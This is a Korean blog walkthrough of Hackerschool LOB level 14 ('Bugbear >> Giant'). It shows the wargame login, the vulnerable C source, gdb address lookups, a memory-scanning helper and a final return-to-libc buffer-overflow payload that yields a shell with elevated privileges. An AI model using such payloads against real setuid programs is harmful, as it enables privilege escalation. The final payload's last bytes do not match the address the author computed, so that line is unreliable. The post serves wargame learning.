[해커스쿨 LOB] Level14: Bugbear >> Giant
두비니
·2020. 8. 2. 19:23
Level 14. Bugbear >> Giant
Theme: RTL
로그인
id : bugbear
pw : new divide
bash2 & 코드확인
1 /*
2 The Lord of the BOF : The Fellowship of the BOF
3 - giant
4 - RTL2
5 */
6 #include <stdio.h>
7 #include <stdlib.h>
8 #include <unistd.h>
9 main(int argc, char *argv[])
10 {
11 char buffer[40];
12 FILE *fp;
13 char *lib_addr, *execve_offset, *execve_addr;
14 char *ret;
15 if(argc < 2){
16 printf("argv error\n");
17 exit(0);
18 }
19 // gain address of execve
20 fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");
21 fgets(buffer, 255, fp);
22 sscanf(buffer, "(%x)", &lib_addr);
23 fclose(fp);
24 fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
25 fgets(buffer, 255, fp);
26 sscanf(buffer, "%x", &execve_offset);
27 fclose(fp);
28 execve_addr = lib_addr + (int)execve_offset;
29 // end
30 memcpy(&ret, &(argv[1][44]), 4);
31 if(ret != execve_addr)
32 {
33 printf("You must use execve!\n");
34 exit(0);
35 }
36 strcpy(buffer, argv[1]);
37 printf("%s\n", buffer);
38 }
뭐가 많이 길어졌네요. 코드 분석부터 해봅시다.
19 // gain address of execve
20 fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");
21 fgets(buffer, 255, fp);
22 sscanf(buffer, "(%x)", &lib_addr);
23 fclose(fp);
자 함수도 처음보는거 많을테니 모를만한거 좀 짚어보고 가겠습니다.
FILE *popen(const char *comstring, const char *type);
우선 popen()함수입니다. system()함수처럼 명령어를 실행시키는 함수입니다. 대신 system()함수와 차이점은 명령어를 실행 후 단순히 결과값 자체를 출력만 시켜주는 system()함수와 달리 popen()함수는 그 결과값을 저장할 수 있습니다.
그럼 20번째 줄은 /usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}' 를 실행시키고, 그 결과값을 fd포인터로 받는거겠죠?
위에 명령어가 다 절대경로로 써놔서 그런데, 사실 ldd assassin | grep libc | awk '{print $4}' 입니다.
뜻은 assassin의 libc의 주소를 구해오는 과정입니다. popen말고 다른 명령어들도 모르겠다면 밑에 각 명령어에 대한 설명링크 걸어놨으니 모르는 명령어들이 있다면 추가로 더 알아보시길 바랍니다.
더 참고하고싶다면 다음 링크 참조
popen : https://hackerj.tistory.com/57
grep : https://recipes4dev.tistory.com/157
awk : https://yaic.tistory.com/entry/awk-%EC%A0%95%EB%A6%AC
[bugbear@localhost bugbear]$ ldd giant | grep libc | awk '{print $4}'
(0x40018000)
짜잔 해보면 알 수 있지요
아무튼 저 과정(20, 21번줄)을 한 뒤에 22번줄을 통해서 &lib_addr에다가 집어넣겠다고 하네요.
24 fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
25 fgets(buffer, 255, fp);
26 sscanf(buffer, "%x", &execve_offset);
27 fclose(fp);
24번부터 27번까지는 앞부분이랑 방법이 같죠?
__execeve함수의 offset을 &execve_offset에 넣겠다고 하네요.
28 execve_addr = lib_addr + (int)execve_offset;
29 // end
30 memcpy(&ret, &(argv[1][44]), 4);
31 if(ret != execve_addr)
32 {
33 printf("You must use execve!\n");
34 exit(0);
35 }
36 strcpy(buffer, argv[1]);
37 printf("%s\n", buffer);
38 }
그러고 난 뒤 main함수의 RET값이 execve함수와 같아야 진행할 수 있네요.
오랜만에 스택상황을 좀 봅시다,
그러면 공격 시나리오는 다음과 같이 짤 수 있을 것 같습니다.
execve함수를 이용한 RTL을 해야겠죠?
RTL을 하기 위해서 execve의 함수 원형을 알아봅시다.
우선 execve함수는 파일을 현재 프로세스에 적재하여 새로운 기능을 하는 함수입니다. 쉽게 말해서 외부 함수를 실행시킬 수 있는 함수입니다. RTL을 쓸거면 함수의 매개변수를 알아야겠죠?
int execve (const char *filename, char *const argv [], char *const envp[]);
*filename : 프로그램에 적재할 파일 (새로 실행시킬 프로그램)
argv[] : 실행할 프로그램에 전단하는 매개변수의 배열
envp[] : 전달할 환경변수의 배열
다 좋지만 결론적으로 execve함수를 이용하여 RTL을 사용하고 싶다면, 보내고 싶은 매개변수에 대해서 각각의 주소를 찾아야 하기 때문에 번거롭습니다. 따라서 다음과 같이 페이로드를 짜볼게요.
::payload::
`python -c 'print "A"*44 + (execve주소) + (system주소) + (exit주소) + ("/bin/sh"의 주소)
다음과 같이 짤 수 있습니다.
저렇게 페이로드를 구성하면 다음과 같은 일이 일어납니다.
1. execve()함수가 exit()주소와 "/bin/sh"의 주소를 매개변수로 가지고 실행됨
2. exit()함수가 실행되고, execve()함수가 종료됨.
3. system()함수가 "/bin/sh"의 주소를 매개변수로 가지고 실행되고, 쉘이 따임
그럼 우리가 구해야 할 주소는
1. execve함수의 주소
2. system, exit함수의 주소
3. "/bin/sh"의 주소
겠네요. 차근차근 구해봅시다.
1. execve함수의 주소
사실 이건 그냥 원본 코드가 구했던 방법 그대로 하면 됩니다.
[bugbear@localhost bugbear]$ ldd giant | grep libc | awk '{print $4}'
(0x40018000)
[bugbear@localhost bugbear]$ nm /lib/libc.so.6 | grep __execve | awk '{print $1}'
00091d48
libc의 시작주소가 0x40018000이고, execve함수의 offset은 0x0091d48입니다. 두 값을 더하면 0x400a9d48이 되네요. 이걸 검토한번합시다.
[bugbear@localhost bugbear]$ cp giant gianl
[bugbear@localhost bugbear]$ gdb -q gianl
(gdb) b * main
Breakpoint 1 at 0x8048560
(gdb) r
Starting program: /home/bugbear/gianl
Breakpoint 1, 0x8048560 in main ()
(gdb) p execve
$1 = {<text variable, no debug info>} 0x400a9d48 <__execve>
사실 이렇게 평소에 구하던 것처럼 주소를 구해도 상관없습니다. 그냥 코드에 적혀져있는대로 해봤어요ㅎㅎ
어느 방법으로 해도 상관없지만 함수의 주소는 libc의 주소 + offset이라는 개념 자체는 알고 계셔야합니다. 나중에 다루게 될 ROP에서 쓰입니다.
2. system / exit 함수의 주소 구하기
(gdb) p system
$2 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
(gdb) p exit
$3 = {void (int)} 0x400391e0 <exit>
같은방법이라 설명은 생략할게요!
3. "/bin/sh"의 주소
이건 저번 문제랑 동일하게 코드를 이용하여 구하도록 하겠습니다.
#include <stdio.h>
#include <string.h>
int main(){
long system = 0x40058ae0;
while (memcmp((void*)system, "/bin/sh\x00", 8)){
system++;
}
printf("/bin/sh: %x\n", system);
return 0;
}
컴파일 과정입니다.
[bugbear@localhost bugbear]$ vi getaddr.c
[bugbear@localhost bugbear]$ gcc -o getaddr getaddr.c
[bugbear@localhost bugbear]$ ./getaddr
/bin/sh: 400fbff9
자 /bin/sh의 주소까지 알아냈으니 공격해봅시다.
execve()의 주소 : 0x400a9d48
system()의 주소 : 0x40058ae0
exit()의 주소 : 0x400391e0
/bin/sh의 주소 : 0x400fbff9
::최종 페이로드::
`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "\xe0\x8a\x05\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x00\x04"'`
[bugbear@localhost bugbear]$ ./giant "`python -c 'print "A"*44+"\x48\x9d\x0a\x40"+"\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x00\x04"'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH▒
@▒@▒@▒
bash$ id
uid=513(bugbear) gid=513(bugbear) euid=514(giant) egid=514(giant) groups=513(bugbear)
bash$ my-pass
euid = 514
one step closer
굳굳 다음~
'War Games > 해커스쿨 LOB' 카테고리의 다른 글
[해커스쿨 LOB] Level16: Assassin >> Zombie Assassin (0) | 2020.08.30 |
---|---|
[해커스쿨 LOB] Level15: Giant >> Assassin (0) | 2020.08.05 |
[해커스쿨 LOB] Level13: Darkknight >> Bugbear (0) | 2020.07.31 |
[해커스쿨 LOB] Level12: Golem >> Darkknight (0) | 2020.07.31 |
[해커스쿨 LOB] Level11: Skeleton >> Golem (0) | 2020.07.26 |